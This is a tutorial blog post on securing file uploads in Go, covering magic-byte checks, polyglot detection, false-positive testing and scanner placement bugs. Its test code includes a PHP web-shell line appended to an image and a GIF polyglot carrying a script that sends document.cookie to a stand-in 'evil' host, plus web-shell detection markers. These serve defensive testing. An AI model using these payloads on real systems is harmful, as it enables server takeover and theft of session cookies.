All posts
Tutorial · December 1, 2026 · 18 min read

File upload security in Go: blocking renamed malware, polyglots and web shells

Somebody renames payload.exe to holiday.jpg, sets Content-Type: image/jpeg, and every check most upload handlers run agrees it is a photograph. Here is what actually stops it, measured, including the 5% false-positive rate my first version had and the three ordering bugs that made a correct scanner useless.

By Muke JohnBaptist
File upload security in Go: blocking renamed malware, polyglots and web shells

A reader asked me this, and it is the right question asked with one wrong assumption:

Most people these days get hacked by images or files, where a malicious program is embedded in a file and uploaded to the system, and it can infect the DB or anything else. How does Grit combat this?

Let me correct the assumption first, because it changes what you should spend your effort on.

An uploaded file cannot infect your database. There is no code path where Postgres executes bytes out of a column. You can store a Windows virus in a bytea and it will sit there, inert, forever. If somebody tells you to scan uploads to protect your database, they do not know what the database does.

What actually happens is worse in some ways and more boring in others:

What really goes wrongWhy
Stored XSSYou accept an SVG or HTML file and serve it from your own origin. It runs JavaScript as your site, with your cookies.
Web shellYou accept a .php or .jsp and your web server is configured to execute it. Now it is their server.
PolyglotA valid JPEG with a payload welded onto the end. Renders fine, still carrying the payload.
Decompression bomb929 KB on the wire, 576 MB of heap. Your process dies.
Malware distributionYour bucket, your domain, their payload, other people's machines. You are the delivery van.
Decoder exploitsA crafted image that attacks the thing decoding it. ImageTragick was this.

Only the last one is "a program embedded in a file", and the fix for it is not a scanner, it is not using ImageMagick.

So: here is how each of those is actually stopped, in Go, with the measurements and the bugs. Everything below shipped in Grit v3.585.0, and I will be specific about what it does not do.

The one check that matters: read byte 0

Every check a typical upload handler runs trusts something the uploader chose.

  • The Content-Type header is whatever the client typed.
  • The filename is whatever the client typed.
  • The extension is part of the filename.

Rename payload.exe to holiday-photo.jpg, send Content-Type: image/jpeg, and all three agree. There is nothing inconsistent to detect. This is not a clever attack, it is the first thing anybody tries.

What does not lie is the first byte:

// Windows. MZ is the DOS header every PE still carries, so .exe, .dll,
// .scr, .sys and .ocx all land here.
{Name: "exe.pe", Offset: 0, Magic: []byte("MZ"), Kind: "a Windows executable", Risk: riskMalicious},
{Name: "exe.elf", Offset: 0, Magic: []byte{0x7F, 'E', 'L', 'F'}, Kind: "a Linux executable", Risk: riskMalicious},
{Name: "exe.macho", Offset: 0, Magic: []byte{0xCF, 0xFA, 0xED, 0xFE}, Kind: "a macOS executable", Risk: riskMalicious},
// 0xCAFEBABE is a Java class file and also a Mach-O universal binary.
// Both are executable code, so the ambiguity does not change the verdict.
{Name: "exe.javaclass", Offset: 0, Magic: []byte{0xCA, 0xFE, 0xBA, 0xBE}, Kind: "compiled Java", Risk: riskMalicious},
{Name: "script.shebang", Offset: 0, Magic: []byte("#!"), Kind: "an executable script", Risk: riskMalicious},

A Windows executable begins MZ whatever it is called. No renaming changes byte 0. So the scanner does not consult the name or the declared type at all for this family: no web application has a field that legitimately accepts a native executable, so there is nothing to weigh up.

One detail worth copying: read more than 512 bytes. A MIME sniffer reads 512 because that is what the WHATWG spec says. The ISO 9660 magic sits at offset 32769:

const headSize = 64 << 10
iso := make([]byte, 40<<10)
copy(iso[32769:], []byte("CD001"))
// → suspicious / archive.iso

A format that hides its identity 32 KB in is exactly the one somebody picks to get a disk image past a 512-byte check.

Polyglots, and why GIF is the one that will get you

A polyglot is a file that is genuinely two things. The classic is a valid JPEG whose bytes continue past the end-of-image marker:

poisoned := append(realJPEG, []byte("<?php system($_GET['c']); ?>")...)

It renders in a browser. It decodes in any library. And the payload is still every byte of it.

Here is the part specific to Grit, and the part most people get wrong about their own systems. If you re-encode an image, the polyglot dies for free. I wrote about that in the image optimisation post: because the output is encoded from decoded pixels, nothing of the original file survives. I tested it with three payloads welded onto a real JPEG:

poisoned source: 61505 bytes; php=true script=true marker=true
primary 42601 bytes, clean of all three payloads
thumb 16168 bytes, clean of all three payloads

So if you resize every upload, are you safe? No, and this is the trap. Grit's pipeline re-encodes exactly three types:

image/jpeg re-encoded=true
image/png re-encoded=true
image/webp re-encoded=true
image/gif re-encoded=false ← and GIF is in the default allowlist
image/avif re-encoded=false
application/pdf re-encoded=false
video/mp4 re-encoded=false

GIF is deliberately not re-encoded, because decoding one and re-encoding it throws away the animation. That is the correct decision and it leaves a hole exactly where nobody looks: a plain accepts: image field takes GIFs, and a GIF polyglot is stored byte for byte with its payload intact. Same for anything the transform declined, and anything on the OnError: StoreOriginal fallback path.

So the polyglot check is not redundant with the resize. It is the only thing covering GIF:

// This is the GIF case, and nothing else in the framework covers it.
func TestGIFPolyglotIsCaughtBecauseNothingElseWill(t *testing.T) {
poisoned := append(realGIF(t), []byte("<script>fetch('//evil/'+document.cookie)</script>")...)
res := scanBytes(t, poisoned, Options{DeclaredMIME: "image/gif", Filename: "funny.gif"})
if res.Verdict != Malicious { ... }
}

The check itself is "does the file end where this format says it ends", and getting that right took me two tries. More on that below, because the first version was wrong in an interesting way.

The 5% false positive that nearly shipped

This is the most useful thing in the post, so I am not burying it.

My first version worked on every malicious file I threw at it. Then I wrote the test that a security feature actually lives or dies by: forty ordinary photographs that must not be flagged.

seed 5: a photograph was flagged as malicious (payload.asp)
seed 23: a photograph was flagged as malicious (payload.asp)

Two in forty. A 5% false-positive rate on the single most common upload there is.

The cause was two bytes. I had <% in the payload-marker list, to catch ASP and JSP web shells. JPEG's compressed bytes are high entropy, so any given two-byte sequence appears by chance roughly once per 65,536 positions, and I was searching a 64 KB window. The arithmetic is not subtle: that is about one hit every file and a half.

There were two separate mistakes, and both are worth stating as rules.

Every marker must be long enough to mean something. <% is gone, replaced by forms that do not occur by accident:

// Not "<?=" or "<%" on their own. Two and three byte markers match
// high-entropy compressed bytes by accident: "<%" flagged 2 of 40
// generated photographs as web shells, which is a 5% false-positive rate
// on the most common upload there is.
{"payload.asp", "<%@ page", "ASP or JSP code"},
{"payload.asp", "<%eval", "ASP code"},
{"payload.asp", "<%response.write", "ASP code"},

<?php occurring by chance in a 64 KB window is about one in a hundred million. That is a marker. <% is a coin flip.

Do not search a well-formed image's pixel data at all. The deeper fix:

// The wellFormed guard is load-bearing. A file that is a complete, properly
// terminated image container does not get its pixel data searched for
// markup: any payload hidden in there is inert, and the re-encode in
// internal/media destroys it anyway.
if !wellFormed && (declaredImage || isImageExt(ext)) {
if name, what, found := findScriptMarker(head); found { ... }
}

With both fixes, I ran it at 400 photographs: zero false positives.

I want to be blunt about why this matters more than the detection does. A security check with a false-positive rate gets switched off. Not by an attacker, by your own team, in week two, when the third customer cannot upload a photo of their van. Then you have no scanner and a config flag nobody remembers. The forty-photograph test is the most valuable test in the package and it detects nothing.

The terminator bug: ; is not the end of a GIF

The "does this file end properly" check had a flaw that let the GIF polyglot straight through, and it is a nice lesson in what "nearly right" costs.

My first version looked for the terminator anywhere in the last 16 bytes. For JPEG that is fine. For GIF, the terminator is the single byte 0x3B, which is ;:

a gif polyglot must be malicious, got clean

The appended payload was <?php system($_GET['c']); ?>. The semicolon in the attacker's own code was accepted as the end of the image.

A one-byte terminator looked for "somewhere near the end" is not a check. It has to be positional:

// Each format states where its marker belongs: JPEG's two bytes are the last
// two, GIF's one byte is the last one, and PNG's IEND is eight from the end
// because its four-byte CRC follows it.
func endsWith(tail, magic []byte, at int, size int64) bool {
if size == 0 || at < len(magic) || len(tail) < at {
return false
}
start := len(tail) - at
return bytes.Equal(tail[start:start+len(magic)], magic)
}

And the same class of error, twice in one function: to identify the appended bytes I took everything after the last occurrence of the terminator, which for a GIF meant everything after the last ; in the attacker's code. That left " ?>" and the verdict dropped from malicious to suspicious. Now a short terminator falls back to scanning the whole window, which is safe precisely because the markers are long.

Three ordering bugs, or: a correct scanner that never ran

The scanner passed every unit test. Then I wrote the end-to-end test, and it had three bugs in a row where the check was correct and simply did not execute.

One. It ran after the type allowlist. An executable sent as application/octet-stream was refused by the allowlist as an unsupported type, which is the right outcome and the wrong path: the scanner never ran, so nothing was recorded. No rule, no file hash, no client fingerprint, nothing in the admin. The single most interesting upload anybody had attempted left no trace at all.

Two. The two sniffer refusals returned before it. DetectContentType rejects a file whose bytes do not match its declared type, which is the renamed-payload case. It refused and returned. Correct refusal, zero evidence.

Both are now the other way round:

case errors.Is(err, storage.ErrContentMismatch), errors.Is(err, storage.ErrFileTypeNotAllowed):
// These two refusals ARE the renamed-payload case, so they get
// characterised and recorded before the refusal rather than after.
if h.scanOrRefuse(c, file, header.Header.Get("Content-Type"), header.Filename, acceptsList) {
return
}

and the scan moved in front of the allowlist, so content is always characterised and a benign wrong type still gets the friendlier message.

Three. The presigned path had no scan at all. This is the one I would most expect other people to have. With presigned uploads the browser PUTs straight to the bucket; the bytes never pass through your API. So "scan on upload" silently covers none of it. The order has to invert: the file is already stored, so you fetch it back, scan it, and delete it if it fails.

// A presigned PUT goes browser to bucket: the bytes never pass through this
// process, so nothing above has looked at a single one of them. Create scans
// before storing; here the file is already stored, so the order inverts and a
// refusal has to delete.
if stop := h.scanStoredOrRefuse(c, req.Key, req.ContentType, req.Filename, req.Accepts); stop {
return
}

Streamed to a temp file, not into memory, because this runs on uploads up to the 300 MB video cap and a scanner that holds 300 MB per concurrent request is a worse problem than the one it solves.

The general lesson: a check and its call site are two things that have to agree, and a unit test only ever proves one of them. Every one of these three was invisible to a scanner test suite that passed 100%.

Recording it: the two fingerprints

Blocking is half the job. The reader asked for the other half, and it is the half most implementations skip: the attempt should be recorded, with enough detail to recognise a pattern.

A threat gets a row with two different fingerprints, and they answer different questions.

// SHA256 is the file's fingerprint: the handle that ties one upload attempt
// to another across users, names and content types.
SHA256 string `gorm:"column:sha256;size:64;index" json:"sha256"`
// Fingerprint is a stable short hash of the client's address, user agent and
// language preferences.
Fingerprint string `gorm:"size:32;index" json:"fingerprint"`

The file hash answers "have these exact bytes been tried before". One refused upload is somebody's mistake. The same payload arriving eleven times under eleven names is somebody working:

func TestRepeatCountsTheSameFileAcrossNames(t *testing.T) {
for _, name := range []string{"a.jpg", "b.png", "c.gif"} { record(...) }
n, _ := Repeat(ctx, db, "deadbeef")
// n == 3
}

The client fingerprint answers "is this one actor". It is a hash of IP, user agent and Accept-Language:

func Fingerprint(ip, userAgent, language string) string {
sum := sha256.Sum256([]byte(strings.Join([]string{ip, userAgent, language}, "|")))
return hex.EncodeToString(sum[:16])
}

Be honest about what that is and is not. It is not an identity. Addresses are shared and browser versions are common, so an office behind one connection collides. What it is good for is the opposite direction: twenty refusals carrying one fingerprint is one actor working through a list, and that is visible here when it is invisible in a table keyed by account. It is hashed rather than stored raw because grouping and counting is all it is for.

The row also carries the route (a public form is not the admin), the request ID, the user if there was one, the rule, and what the bytes actually were. And a security event goes into the hash-chained activity log alongside it, so the fact that a threat was recorded is tamper-evident even though the threat table is ordinary.

One deliberate asymmetry, visible in the end-to-end test:

// The response must not teach the uploader which rule caught it.
for _, leak := range []string{"exe.pe", "MZ", "Windows executable"} {
if bytes.Contains(rec.Body.Bytes(), []byte(leak)) {
t.Errorf("the response leaked %q to the uploader", leak)
}
}

The uploader gets "This file was rejected by a security scan". The detail is in the admin. Naming the rule lets somebody tune a payload against it one upload at a time.

Two bugs this found in code that already shipped

Writing the scanner meant reading the existing checks properly, which turned up two things.

A guard that had never once executed. The sniffer had this:

if detected == "text/html" || detected == "image/svg+xml" {
return "", fmt.Errorf("%w: %s", ErrFileTypeNotAllowed, detected)
}

http.DetectContentType never returns image/svg+xml. The WHATWG sniffing standard it implements classifies SVG as text/xml. That arm was dead code from the day it was written.

SVG was refused anyway, by the unrelated rule two lines down that rejects a file claiming to be an image whose bytes are not one. So nothing ever looked broken. But a defence working by accident through a different rule disappears the moment somebody relaxes that rule, and the message it produced was "file content does not match its declared type" for a file that was exactly what it claimed to be. It now detects SVG by content.

A file picker offering a type the server always refused. The image accept alias listed image/svg+xml and .svg, while every SVG upload was rejected. So the admin offered users a file type the API would never take, and choosing one produced that baffling mismatch message. SVG is out of the alias now.

I mention these two together because they are the same shape: two places that have to agree, with a test on each side passing while the pair was broken. The picker's list was valid. The sniffer's logic was valid. Nothing read both.

The layer I did not write: ClamAV

Everything above catches categories. It does not know that a particular file is Win.Trojan.Agent-1234, and it never will, because that needs a signature database updated daily.

So ClamAV is an opt-in second layer, spoken over its socket protocol:

// Why a socket and not a library: every Go binding for libclamav needs cgo,
// and a Grit API is a single static binary that "grit deploy" cross-compiles
// from a laptop. A sidecar container speaking a line protocol keeps that true,
// and the virus database updates on its own schedule without redeploying.
type ClamAV struct {
Network string
Address string
FailOpen bool
}

CLAMAV_ADDR=tcp://clamav:3310 and it runs on anything the signature layer passed. Two things I would point at if you build this yourself:

Test the protocol with a fake daemon, not with an installed one. A test that only runs where ClamAV happens to be present is a test that never runs in CI:

func fakeClamd(t *testing.T, reply string) *ClamAV {
ln, _ := net.Listen("tcp", "127.0.0.1:0")
// speaks enough INSTREAM to prove the client is correct
}

Decide fail-open or fail-closed on purpose. When clamd is unreachable, you either refuse every upload or allow every upload. Both are defensible and neither is a default you should inherit silently. Grit's default is fail-closed, with CLAMAV_FAIL_OPEN=true to choose the other.

What this does not do

A security post without this section is marketing.

  • No scanning of archive contents. A zip is identified, and on an image field refused, but the files inside it are not unpacked and scanned. Unpacking untrusted archives is its own attack surface.
  • The signature layer knows categories, not malware. Without ClamAV, a novel trojan that is not a recognised executable format, in a field that accepts it, passes.
  • Suspicious is allowed by default. UPLOAD_BLOCK_SUSPICIOUS=false ships as the default, so an image with unrecognised trailing bytes is recorded and kept. That is deliberate: some camera and editing software appends bytes, and refusing those on day one is how the scanner gets switched off. Malicious is always refused.
  • It is not a substitute for not executing uploads. The reason a web shell is dangerous is that something will run it. Serve user files from a separate origin, never from a path your server executes, with X-Content-Type-Options: nosniff and a sandboxing CSP. The scanner is the second line.

If you are building this yourself

  1. Read byte 0, and 64 KB of it. The name, the extension and the Content-Type are all attacker-controlled and all agree with each other.
  2. Write the false-positive test first. Forty ordinary files that must pass. It is the test that keeps the feature switched on, and mine caught a 5% failure rate on photographs.
  3. Make every marker long. Two-byte markers match compressed data by chance. <?php is a marker; <% is a coin flip.
  4. Check terminators positionally. "Somewhere near the end" let a GIF polyglot through on the semicolon in the payload.
  5. Test the call site, not just the check. All three of my ordering bugs were invisible to a passing unit suite.
  6. Scan the presigned path too, which means fetching the object back and deleting it on refusal.
  7. Record the attempt with both fingerprints, and do not tell the uploader which rule caught them.

In Grit this is internal/scan, it runs on both upload paths, the threats are at /system/threats in the admin, and the end-to-end test ships in every generated project so you can see it work:

grit new myapp
cd myapp/apps/api && go test ./internal/scan/ ./internal/handlers/ -run Scan

The honest summary is that the detection was the easy part. The scanner was right about bytes within an afternoon. What took the rest of it was the false-positive rate, the two terminator mistakes, and three separate bugs where a correct check simply never ran.

JB, Creator of Grit
Written & published by
JB, Creator of Grit

Founder of Grit and author of The Daily Grit. A 5-minute morning read on building full-stack apps with Go + React.

Subscribe

Build it with Grit

Go + React, batteries included. Scaffold a production-ready app in one command.

Get started